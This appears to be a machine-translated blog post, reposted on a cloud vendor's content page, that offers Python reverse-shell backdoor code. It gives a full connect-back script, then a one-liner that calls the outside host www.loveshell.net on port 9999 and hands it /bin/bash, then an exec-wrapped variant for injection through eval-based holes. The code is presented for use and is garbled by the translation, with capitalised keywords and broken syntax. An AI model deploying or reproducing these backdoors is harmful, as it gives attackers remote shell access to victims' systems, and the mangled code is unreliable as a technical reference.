The exploit Python code is really cool.

Source: Internet
Author: User
Don't know how suddenly want to see this, hehe
The ego of the Python anti-shell code
#!/usr/bin/python
# Python Connect-back Backdoor
# Author:wofeiwo
# version:1.0
# date:july 15th 2006

Import Sys
Import OS
Import socket
Shell = "/bin/sh"

def usage (programname):
Print "Python connect-back backdoor"
Print "Auther:wofeiwo "
Print "Date:july 15th 2006\n"
Print "Usage:%s \ n "% programname

def main ():
If Len (sys.argv)! = 3:
Usage (sys.argv[0])
Sys.exit (1)

s = socket.socket (socket.af_inet, socket. SOCK_STREAM)
Try
S.connect ((Socket.gethostbyname (sys.argv[1]), int (sys.argv[2]))
print "[+] Connect OK."
Except
Print "[-] Could not connect to%s:%s"% (Sys.argv[1], sys.argv[2])
Sys.exit (2)
S.send ("--------------------Python connect-back backdoor--------------------\ n")
S.send ("-----------------------------by Wofeiwo-----------------------------\ n")
Os.dup2 (S.fileno (), 0)
Os.dup2 (S.fileno (), 1)
Os.dup2 (S.fileno (), 2)
Global shell
Os.system (Shell)
print "See u!"
S.close ()

if __name__ = = "__main__": Main ()



It's not a good time to use exploits, is it? We want a shorter one, and the savings are

Import sys;import Os;import socket;s = Socket.socket (socket.af_inet, socket. SOCK_STREAM), S.connect ((Socket.gethostbyname ("Www.loveshell.net"), 9999), S.send ("Welcome my master\r\n"); os.dup2 (S.fileno (), 0); Os.dup2 (S.fileno (), 1), Os.dup2 (S.fileno (), 2); S.send ("Is there a shell?\r\n"); Os.system ("/bin/bash") ; S.close (); S.send ("See U Next time!\r\n");


It's short, isn't it?
However, it is possible that the loopholes are not allowed in the place of multiple statements, such as the allowable input is in the eval, not many statements (explained later) can also change
exec ' Import sys;import os;import socket;s = Socket.socket (socket.af_inet, socket. SOCK_STREAM); S.connect ((Socket.gethostbyname ("Www.loveshell.net"), 9999); S.send ("Welcome my master\\r\\n"); o S.dup2 (S.fileno (), 0), os.dup2 (S.fileno (), 1), Os.dup2 (S.fileno (), 2), S.send ("Is there a shell?\\r\\n"), Os.system ("/ Bin/bash "); S.close (); S.send (" See U Next time!\\r\\n ");


Note is \\r\\n oh, even in the "as if \ r \ n will become a newline, so in fact, even if not used here, as well as the construction of code, in addition, why not eval it?
Flipped the manual.
The EXEC statement is used to execute a python statement stored in a string or file. For example, we can generate a string that contains Python code at run time, and then execute the statements using the EXEC statement



The eval statement is used to calculate a valid python expression stored in a string



Well, it seems to go wrong with Eval.
YY, thought is the same, but specific to the language is not the same, how to jump out of the language restrictions? is a problem ...
  • Contact Us

    The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

    If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

    A Free Trial That Lets You Build Big!

    Start building with 50+ products and up to 12 months usage for Elastic Compute Service

    • Sales Support

      1 on 1 presale consultation

    • After-Sales Support

      24/7 Technical Support 6 Free Tickets per Quarter Faster Response

    • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.